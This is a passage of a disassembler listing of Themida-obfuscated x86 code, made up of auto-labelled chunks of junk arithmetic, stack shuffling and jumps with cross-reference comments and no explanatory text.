push edx
mov edx, 0AA35DCE8h
xor esi, edx
pop edx
jmp loc_56ABB1
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A360: ; CODE XREF: sub_56755A+72D1j
add esp, 4
jmp loc_56E601
; ---------------------------------------------------------------------------
loc_56A368: ; CODE XREF: sub_56755A+8A89j
push [esp+2Eh+var_30+2]
mov eax, [esp+32h+var_34+2]
add esp, 4
add esp, 4
push ecx
jmp loc_55E27A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_56A37A: ; CODE XREF: sub_56F7FC-9B32j
sub [esp-4+arg_4], ecx
sub [esp-4+arg_4], 5F0D19CCh
sub [esp-4+arg_4], 3AE1D2Ah
pop ecx
jmp loc_5665C1
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A394: ; CODE XREF: sub_56755A-29j
mov [esp+0Ch+var_C], esi
jmp loc_56FDE5
; ---------------------------------------------------------------------------
loc_56A39C: ; CODE XREF: sub_56755A+77BAj
xchg ecx, [esp+0Ch+var_C]
pop esp
mov ecx, esi
jmp loc_5682E7
; ---------------------------------------------------------------------------
loc_56A3A7: ; CODE XREF: sub_56755A+6ABj
add ecx, edi
mov edi, [esp+28h+var_28]
add esp, 4
push eax
mov eax, 4
push edx
mov edx, 52270219h
sub ecx, edx
pop edx
jmp loc_55E95E
; ---------------------------------------------------------------------------
loc_56A3C3: ; CODE XREF: sub_56755A-127j
pop ecx
jmp loc_565B4D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643BC
loc_56A3C9: ; CODE XREF: sub_5643BC+AAFFj
add ebx, ebp
jmp loc_569C24
; END OF FUNCTION CHUNK FOR sub_5643BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_56A3D0: ; CODE XREF: sub_56F653-1187Fj
mov cl, bh
push eax
mov al, cl
mov dh, al
pop eax
mov ecx, [esp+0]
add esp, 4
jmp loc_5688A5
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
loc_56A3E6: ; CODE XREF: Themida_:0055E9ABj
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_56C859
; ---------------------------------------------------------------------------
loc_56A3F5: ; CODE XREF: Themida_:00562A26j
mov esp, [esp]
push dword ptr [esp]
mov edx, [esp]
push eax
mov eax, esp
add eax, 4
push 5EF5h
mov [esp], edi
jmp loc_560EC8
; ---------------------------------------------------------------------------
loc_56A413: ; CODE XREF: Themida_:005664FFj
xor esi, 5F12DF4h
xor esi, 0DD52FE8h
xor edx, esi
pop esi
shr edx, 4
push ebx
mov ebx, 0
jmp loc_56BD28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56A430: ; CODE XREF: sub_56E89A-F946j
pop edi
xor esi, [esp+8+var_8]
xor [esp+8+var_8], esi
jmp loc_570613
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A43C: ; CODE XREF: sub_56755A-59F4j
sub ebx, 1ACE1A5Ch
sub ebx, eax
jmp loc_56D073
; ---------------------------------------------------------------------------
loc_56A449: ; CODE XREF: sub_56755A+1E09j
mov eax, 4
add edx, eax
jmp loc_55E491
; ---------------------------------------------------------------------------
loc_56A455: ; CODE XREF: sub_56755A-B0D4j
push 9EA0D1Fh
pop eax
xor ecx, eax
mov eax, [esp+16h+var_18+2]
add esp, 4
jmp loc_5610F6
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_56A468 proc near ; CODE XREF: sub_56755A-8319j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055BCC5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00562640 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00562DEB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005638DB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056AB12 SIZE 0000002F BYTES
push ebx
push dword ptr [esp+4]
mov ebx, [esp+8+var_8]
add esp, 4
pop [esp+4+var_4]
not ebx
jmp loc_55BCC5
sub_56A468 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_56A47D: ; CODE XREF: Themida_:00561B73j
push 11767903h
mov ecx, [esp]
push ebp
jmp loc_568DA6
; ---------------------------------------------------------------------------
loc_56A48B: ; CODE XREF: Themida_:0055D48Ej
add esp, 4
add esi, 4
push ecx
mov ecx, 4
add esi, 4DC1840h
sub esi, ecx
sub esi, 4DC1840h
pop ecx
push esi
jmp loc_56D4B4
; ---------------------------------------------------------------------------
loc_56A4AF: ; CODE XREF: Themida_:005620FDj
pop esp
push 1E85h
mov [esp], eax
mov eax, 4
add ebx, eax
push dword ptr [esp]
pop eax
push 4B94h
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_55BA8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A4F0: ; CODE XREF: sub_56755A-3B63j
add eax, 37161B36h
push edi
mov edi, 1F05732h
jmp loc_568C9C
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_56A500 proc near ; CODE XREF: sub_562272-33F9j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C3B3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055CBDE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055DD1C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005653C7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A11D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056ABFF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056B7BE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056BDE0 SIZE 0000003D BYTES
sub esp, 4
jmp loc_56BDE0
sub_56A500 endp
; ---------------------------------------------------------------------------
loc_56A50B: ; CODE XREF: Themida_:00567517j
sub ebx, 8A5BFEDEh
add esi, ebx
pop ebx
add edx, 201479FDh
sub edx, 2DCE39FCh
add edx, esi
add edx, 2DCE39FCh
sub edx, 201479FDh
pop esi
add edx, 2
push edx
jmp loc_56F8E9
; ---------------------------------------------------------------------------
loc_56A538: ; CODE XREF: Themida_:00565066j
mov esi, esp
add esi, 4
push eax
jmp loc_566AB2
; ---------------------------------------------------------------------------
loc_56A546: ; CODE XREF: Themida_:0056A63Ej
xor ebx, 124E2919h
jmp loc_5661CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A551: ; CODE XREF: sub_56755A+331Bj
pop ebp
pop ebx
jmp loc_56FC68
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56A558: ; CODE XREF: Themida_:0056B796j
sub esp, 4
mov [esp], eax
mov eax, 33E7F14h
shl eax, 7
jmp loc_5614BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A56E: ; CODE XREF: sub_56755A-4F3Aj
pop edx
add edx, 4
push edi
mov edi, 501518CAh
and edi, 307A6199h
sub edi, 57345523h
not edi
jmp sub_562F62
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55D71E
loc_56A58E: ; CODE XREF: sub_55D71E+12856j
mov ah, cl
mov bl, ah
pop eax
push edx
mov dl, bl
jmp loc_56B8A3
; END OF FUNCTION CHUNK FOR sub_55D71E
; ---------------------------------------------------------------------------
loc_56A59B: ; CODE XREF: Themida_:005619CAj
xor al, 0DFh
jmp loc_56F2A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A5A2: ; CODE XREF: sub_56755A-963Dj
push eax
mov eax, 35296DCCh
neg eax
jmp loc_560026
; ---------------------------------------------------------------------------
loc_56A5AF: ; CODE XREF: sub_56755A-90CEj
mov esp, [esp+16h+var_18+2]
rol byte ptr [esp+16h+var_18+2], cl
pushf
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56A5BB: ; CODE XREF: Themida_:00561BCBj
mov [esp], eax
mov eax, 75721A9Bh
dec eax
jmp loc_5685BE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D4B
loc_56A5C9: ; CODE XREF: sub_568D4B+4CAj
mov esi, eax
pop eax
push ebx
mov ebx, 14A5501Ah
shr ebx, 5
or ebx, 5A4E5679h
xor ebx, 7F8F5F15h
sub eax, ebx
pop ebx
add eax, esi
add eax, 256021ECh
jmp loc_56B719
; END OF FUNCTION CHUNK FOR sub_568D4B
; ---------------------------------------------------------------------------
loc_56A5F0: ; CODE XREF: Themida_:0056015Dj
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push edi
push esp
mov edi, [esp]
add esp, 4
push 2B9Dh
mov [esp], edx
push eax
mov eax, 138023CEh
jmp loc_569A98
; ---------------------------------------------------------------------------
loc_56A61D: ; CODE XREF: Themida_:0056DC02j
add ecx, 11E6862h
add ecx, 3D01114Bh
push ebp
mov ebp, esp
add ebp, 4
push esi
mov esi, 4
jmp loc_566F24
; ---------------------------------------------------------------------------
loc_56A63D: ; CODE XREF: Themida_:0056C0CEj
pop ebx
jmp loc_56A546
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A643: ; CODE XREF: sub_56755A+198Bj
sub eax, 4
xchg eax, [esp+6+var_8+2]
mov esp, [esp+6+var_8+2]
mov [esp+6+var_8+2], ebx
mov bl, 0F9h
sub esp, 4
mov [esp+0Ah+var_C+2], eax
push ebx
mov bl, 0BEh
shl bl, 5
xor bl, 2Ch
neg bl
xor bl, 0B9h
mov al, bl
jmp loc_56D3AC
; ---------------------------------------------------------------------------
loc_56A66E: ; CODE XREF: sub_56755A-204Fj
mov [esp+8+var_8], ecx
jmp loc_56494E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56A676: ; CODE XREF: sub_56E89A+FDCj
push esp
pop ebp
add ebp, 4
jmp loc_562859
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_56A683: ; CODE XREF: Themida_:00569679j
mov esi, 6602723h
add esi, ebp
pop ebp
add esi, 60E27A1Bh
push 55A9h
mov [esp], ecx
jmp loc_5680FB
; ---------------------------------------------------------------------------
loc_56A69E: ; CODE XREF: Themida_:0056F9DCj
push dword ptr [esp]
pop ecx
add esp, 4
sub al, 1Bh
sub al, bl
add al, 1Bh
mov ebx, [esp]
jmp loc_55D50E
; ---------------------------------------------------------------------------
loc_56A6B6: ; CODE XREF: Themida_:0055F8B9j
xor ecx, [esp]
jmp loc_564B0C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A6BE: ; CODE XREF: sub_56755A-115j
shl edx, 1
push 4C98h
mov [esp+10h+var_10], esi
jmp sub_56AA40
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56A6CD: ; CODE XREF: Themida_:00565C1Dj
add al, 68h
push ebx
mov bh, 42h
and bh, 52h
push ecx
mov ecx, esp
jmp loc_56F6D3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A6DD: ; CODE XREF: sub_56755A+8A65j
push [esp+10h+var_10]
pop esi
push ecx
jmp loc_56E8F3
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56572D
loc_56A6E7: ; CODE XREF: sub_56572D+8315j
pop ebp
add ecx, 98D4C493h
add edx, ecx
mov ecx, [esp-8+arg_4]
add esp, 4
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56572D
; ---------------------------------------------------------------------------
loc_56A6FB: ; CODE XREF: Themida_:005690BBj
pop esi
or esi, 7E1D7B65h
shr esi, 4
sub esi, 0F1F23ACh
xor esi, 9A12ADFAh
mov ebp, esi
pop esi
xor ebp, 0EDC5512h
or ebp, 58D0040Eh
xor ebp, 2B573416h
sub eax, 69B21361h
sub eax, ebp
add eax, 69B21361h
pop ebp
push ebp
mov ebp, 5E874FD2h
sub [esp+4], ebp
pop ebp
add [esp], eax
push edx
push eax
jmp loc_566CE0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A748: ; CODE XREF: sub_56755A+4027j
push edx
push ecx
push 34757CEAh
jmp loc_56B862
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56A754: ; CODE XREF: Themida_:0055D6FEj
add ebp, 25CE74DBh
or ebp, 970571Bh
xor ebp, 0C3AC56h
sub edx, ebp
pop ebp
push dword ptr [esp]
pop ecx
add esp, 4
add edx, 4
push edx
push dword ptr [esp+4]
mov edx, [esp]
jmp loc_56C485
; ---------------------------------------------------------------------------
loc_56A780: ; CODE XREF: Themida_:0056BFFDj
add cl, 82h
jmp loc_569C32
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A788: ; CODE XREF: sub_56755A-74DFj
mov [esp+8+var_8], ebx
push eax
jmp loc_55C7F1
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56A791: ; CODE XREF: Themida_:0055D8F5j
add edx, 35A75AFBh
add edx, 26E434ADh
sub esp, 4
mov [esp], eax
mov eax, 25990D8Dh
add edx, eax
pop eax
mov eax, edx
pop edx
add ebp, 7BB66430h
jmp loc_567192
; ---------------------------------------------------------------------------
loc_56A7B9: ; CODE XREF: Themida_:005627E9j
push 424Fh
mov [esp], edx
jmp loc_55DC86
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FFC1
loc_56A7C6: ; CODE XREF: sub_55FFC1+D585j
mov ebx, 0
add ebx, ecx
jmp loc_55CC07
; END OF FUNCTION CHUNK FOR sub_55FFC1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A7D2: ; CODE XREF: sub_56755A-589Ej
push edx
mov edx, 21F6662Ch
add edi, edx
pop edx
pop edx
add edi, 0B6C854B7h
add ebx, edi
pop edi
jmp loc_55FBF9
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_56A7EA: ; CODE XREF: sub_55CD7B+49CEj
and eax, edx
push dword ptr [esp+0]
jmp loc_56B5D6
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E931
loc_56A7F4: ; CODE XREF: sub_55E931+5F67j
sub ebp, 0A0AA7ECDh
mov ebx, ebp
pop ebp
shl ebx, 7
sub ebx, 0C7C06C49h
jmp loc_569953
; END OF FUNCTION CHUNK FOR sub_55E931
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_56A80B: ; CODE XREF: sub_56971C-5BADj
mov esp, [esp+4+var_4]
jmp loc_56E43E
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
loc_56A813: ; CODE XREF: Themida_:0056B94Ej
push dword ptr [esp]
pop ebx
push eax
jmp loc_55CD33
; ---------------------------------------------------------------------------
loc_56A81D: ; CODE XREF: Themida_:0055F614j
add esi, 39061772h
sub esi, 341C0E5Ah
jmp loc_5628BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B62C
loc_56A82E: ; CODE XREF: sub_56B62C-94D0j
push eax
push ebx
mov bh, 0B0h
not bh
push eax
mov ah, 0D8h
jmp loc_55DD11
; END OF FUNCTION CHUNK FOR sub_56B62C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C719
loc_56A83C: ; CODE XREF: sub_55C719+A806j
mov edx, 3F0E761Fh
mov esi, 0DC4EA361h
add esi, edx
pop edx
jmp sub_56CB7D
; END OF FUNCTION CHUNK FOR sub_55C719
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A84E: ; CODE XREF: sub_56755A-8F4Bj
shl eax, 1
push edi
jmp loc_56FA84
; ---------------------------------------------------------------------------
loc_56A856: ; CODE XREF: sub_56755A-5D6Dj
push [esp+38h+var_38]
pop ebp
sub esp, 4
mov [esp+3Ch+var_3C], ebx
push 6F5h
mov [esp+40h+var_40], esp
push ebp
mov ebp, 4
add [esp+44h+var_40], ebp
jmp loc_56A551
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56A87A: ; CODE XREF: Themida_:0056DE08j
push dword ptr [esp]
pop edi
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, 2A5525CDh
shl eax, 2
jmp loc_56FF95
; ---------------------------------------------------------------------------
loc_56A897: ; CODE XREF: Themida_:0056C28Ej
mov eax, esp
add eax, 4
push ecx
mov ecx, 4
sub eax, ecx
pop ecx
xchg eax, [esp]
pop esp
push 54A3h
jmp loc_565F31
; ---------------------------------------------------------------------------
loc_56A8B5: ; CODE XREF: Themida_:005646F4j
mov [esp], esi
push ebp
mov ebp, 59DB7129h
or ebp, 54CB438Fh
add ebp, 0BD13BD9Ch
mov esi, ebp
jmp loc_56C238
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A8D1: ; CODE XREF: sub_56755A-6CDEj
pop edx
add edx, 4
add edx, 4
xor edx, [esp+1Ah+var_1C+2]
jmp loc_55CA0E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56A8E3: ; CODE XREF: Themida_:0055DC5Dj
pop edx
jmp loc_55D652
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5615A9
loc_56A8E9: ; CODE XREF: sub_5615A9-1095j
add esp, 2
add bh, 0FFh
jmp loc_5663CE
; END OF FUNCTION CHUNK FOR sub_5615A9
; ---------------------------------------------------------------------------
loc_56A8F4: ; CODE XREF: Themida_:0056EBFCj
sub eax, 0FFFFFFFFh
or eax, 48D3402Dh
neg eax
push 4BD4h
mov [esp], ebx
mov ebx, 40552C7Dh
jmp loc_56DE0D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55BA18
loc_56A912: ; CODE XREF: sub_55BA18+A831j
pop ebx
push ecx
jmp loc_568FA8
; END OF FUNCTION CHUNK FOR sub_55BA18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_56A919: ; CODE XREF: sub_56971C-4D48j
pop ebx
jmp loc_55BE35
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A91F: ; CODE XREF: sub_56755A+5C48j
pop ebx
push edx
mov edx, esp
push 72E5h
mov [esp+1Eh+var_20+2], eax
mov eax, 58AF2B22h
and eax, 71F27068h
and eax, 0DD863E4h
push edx
mov edx, 40DF5E27h
push edx
mov edx, 86906D2h
jmp loc_566D95
; ---------------------------------------------------------------------------
loc_56A94B: ; CODE XREF: sub_56755A+6D34j
push cx
jmp loc_567E06
; ---------------------------------------------------------------------------
loc_56A952: ; CODE XREF: sub_56755A-56A3j
add ebx, 4B9E1EEAh
mov edx, [esp+4+var_4]
push ebp
push esp
mov ebp, [esp+0Ch+var_C]
jmp loc_570160
; ---------------------------------------------------------------------------
loc_56A965: ; CODE XREF: sub_56755A-6414j
mov [esp+22h+var_24+2], ebx
mov ebx, 4
add edi, ebx
pop ebx
xchg edi, [esp+1Eh+var_20+2]
pop esp
add edx, 32E40E9Bh
add edx, 35946285h
add edx, ebp
sub edx, 35946285h
sub edx, 32E40E9Bh
jmp loc_56692B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56A993: ; CODE XREF: sub_56E89A-C039j
pop ebp
pop [esp+14h+var_14]
jmp loc_5607CA
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_56A99C: ; CODE XREF: Themida_:0055EE9Fj
push dword ptr [esp+4]
mov ebp, [esp]
push ecx
push esp
pop ecx
jmp loc_564A28
; ---------------------------------------------------------------------------
loc_56A9AB: ; CODE XREF: Themida_:0056457Fj
or [edi+1Ch], edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_568222
; ---------------------------------------------------------------------------
loc_56A9BC: ; CODE XREF: Themida_:00563052j
xor eax, 5BBE3C86h
add ebx, eax
pop eax
sub ebx, 2
xchg ebx, [esp]
jmp loc_5625CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56A9D2: ; CODE XREF: sub_56755A+7851j
mov esi, [esp+1Ah+var_1C+2]
jmp loc_56AA76
; ---------------------------------------------------------------------------
loc_56A9DA: ; CODE XREF: sub_56755A-63F8j
push 139Dh
mov [esp+2Ah+var_2C+2], edi
push 7B8236A3h
pop edi
sub edi, 1
sub edi, 7826E711h
jmp loc_569D92
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56A9F6: ; CODE XREF: Themida_:0055FE0Ej
push 0CCDh
mov [esp], ecx
push ebx
jmp loc_55F4C8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56AA04: ; CODE XREF: sub_56755A-2895j
sub ecx, ebp
mov ebp, [esp+30h+var_30]
add esp, 4
neg ecx
sub esp, 4
mov [esp+30h+var_30], eax
mov eax, 53183956h
and ecx, eax
jmp loc_563925
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_56AA23: ; CODE XREF: sub_56F653-429Fj
or ch, dl
pop edx
and ch, 52h
push eax
mov al, 0ACh
jmp loc_56E26B
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565F9F
loc_56AA31: ; CODE XREF: sub_565F9F+2329j
push esi
push [esp+arg_0]
pop esi
pop dword ptr [esp+0]
pop esp
jmp loc_56D5DC
; END OF FUNCTION CHUNK FOR sub_565F9F
; =============== S U B R O U T I N E =======================================
sub_56AA40 proc near ; CODE XREF: sub_56755A+316Ej
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055DD7D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056411B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056C714 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056DFDF SIZE 0000000C BYTES
push ebp
mov ebp, 1
jmp loc_55DD7D
sub_56AA40 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FE13
loc_56AA4B: ; CODE XREF: sub_55FE13+2042j
push small 16FCh
jmp loc_569A7F
; END OF FUNCTION CHUNK FOR sub_55FE13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56885A
loc_56AA54: ; CODE XREF: sub_56885A-A3E8j
shr eax, 0Ah
xor eax, ecx
xor eax, ebp
xor ebp, eax
xor eax, ebp
xchg ebx, ebp
not ebx
jmp sub_56BFA1
; END OF FUNCTION CHUNK FOR sub_56885A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56AA68: ; CODE XREF: sub_56755A-50D7j
mov esp, [esp-14h+arg_10]
add eax, 4
push edx
jmp loc_56501B
; ---------------------------------------------------------------------------
loc_56AA76: ; CODE XREF: sub_56755A+347Bj
add esp, 4
shr eax, 0Ch
jmp loc_56D64E
; ---------------------------------------------------------------------------
loc_56AA84: ; CODE XREF: sub_56755A-7BAEj
add ecx, 46924B84h
mov eax, [esp-10h+arg_C]
jmp loc_56541E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56AA92: ; CODE XREF: Themida_:00561ECBj
xor edx, 3B091820h
sub edx, 224B6A53h
jmp loc_56FCE8
; ---------------------------------------------------------------------------
loc_56AAA3: ; CODE XREF: Themida_:0055FCB0j
sub ebx, ebp
pop ebp
jmp loc_55ED71
; ---------------------------------------------------------------------------
loc_56AAAB: ; CODE XREF: Themida_:0056D47Bj
add eax, ecx
add eax, 7D2F1C5Eh
push edi
mov edi, 4ACA011Eh
dec edi
dec edi
inc edi
and edi, 0A445884h
sub edi, 9E4092B3h
add eax, edi
jmp loc_56E2D4
; ---------------------------------------------------------------------------
loc_56AACE: ; CODE XREF: Themida_:0056EFD7j
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
add esp, 4
push 0DC7h
mov [esp], ebx
jmp loc_55C7D0
; ---------------------------------------------------------------------------
loc_56AAE8: ; CODE XREF: Themida_:0056E51Cj
pop edx
shr eax, 2
jmp loc_55DE4A
; ---------------------------------------------------------------------------
loc_56AAF1: ; CODE XREF: Themida_:0055C43Cj
mov esp, [esp]
dec dword ptr [esp]
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56AAFD: ; CODE XREF: sub_56755A+3DB1j
push 5B12h
mov [esp-0Ch+arg_8], ecx
mov ecx, esp
push edi
mov edi, 16C469B7h
jmp loc_55F417
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A468
loc_56AB12: ; CODE XREF: sub_56A468-6B83j
xor ebp, ecx
xor ecx, ebp
xor ebp, ecx
push esi
push eax
mov eax, 1F3A686Fh
add eax, 0EBB3C2B0h
mov esi, eax
pop eax
sub esi, 39E484CDh
add ebp, 328E15A6h
sub ebp, esi
sub ebp, 328E15A6h
pop esi
jmp loc_562640
; END OF FUNCTION CHUNK FOR sub_56A468
; ---------------------------------------------------------------------------
loc_56AB41: ; CODE XREF: Themida_:00569D0Fj
mov dh, ch
mov al, dh
mov edx, [esp]
add esp, 4
pop ecx
mov edx, [esp]
add esp, 4
mov cl, [esp+4]
mov [esp+4], al
mov eax, [esp]
add esp, 4
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56AB6B: ; CODE XREF: Themida_:0055D9A1j
add ecx, ebx
pop ebx
push edi
push 4
jmp loc_55F125
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56AB79: ; CODE XREF: sub_56755A-7365j
xor ebx, edi
jmp loc_566120
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
lodsb
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_55BD35
; ---------------------------------------------------------------------------
loc_56AB92: ; CODE XREF: Themida_:00562CF6j
pop edx
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_5689F9
; ---------------------------------------------------------------------------
loc_56ABA4: ; CODE XREF: Themida_:0055D10Cj
mov dl, 0BFh
or dl, 2
or dl, 0E3h
jmp loc_55D011
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_56ABB1: ; CODE XREF: sub_566504+3E57j
add ebx, 69B96BB9h
jmp loc_5656F3
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
loc_56ABBC: ; CODE XREF: Themida_:0056FDC2j
pop ebp
jmp loc_562838
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_56ABC2: ; CODE XREF: sub_56CB7D-F9C8j
pop ebp
add ebp, 4
push edi
jmp loc_56B9D3
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56ABCF: ; CODE XREF: sub_56755A+979j
not cl
push 21A3h
mov [esp+10h+var_10], eax
jmp loc_56F802
; ---------------------------------------------------------------------------
loc_56ABDE: ; CODE XREF: sub_56755A-310Dj
mov esp, [esp+16h+var_18+2]
mov [esp+16h+var_18+2], edi
mov edi, 55405A2Dh
jmp loc_568F81
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56ABEE: ; CODE XREF: Themida_:00562A1Dj
add eax, 2C134C99h
push ebp
mov ebp, 3E48674Dh
inc ebp
jmp loc_560115
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A500
loc_56ABFF: ; CODE XREF: sub_56A500+1918j
pop ebx
push esi
mov esi, 4
jmp loc_56B7BE
; END OF FUNCTION CHUNK FOR sub_56A500
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56AC0B: ; CODE XREF: sub_56755A-7517j
mov [esp+0], eax
mov eax, 5DDA303Eh
and eax, 2EB23A47h
jmp loc_569996
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56AC1D: ; CODE XREF: Themida_:0056E5A8j
mov edi, 603D0C02h
or edi, 4DB61CFCh
add edi, 9240E306h
sub eax, edi
pop edi
xchg eax, [esp]
jmp loc_55FF0E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56AC39: ; CODE XREF: sub_56755A+65Fj
jmp loc_55B555
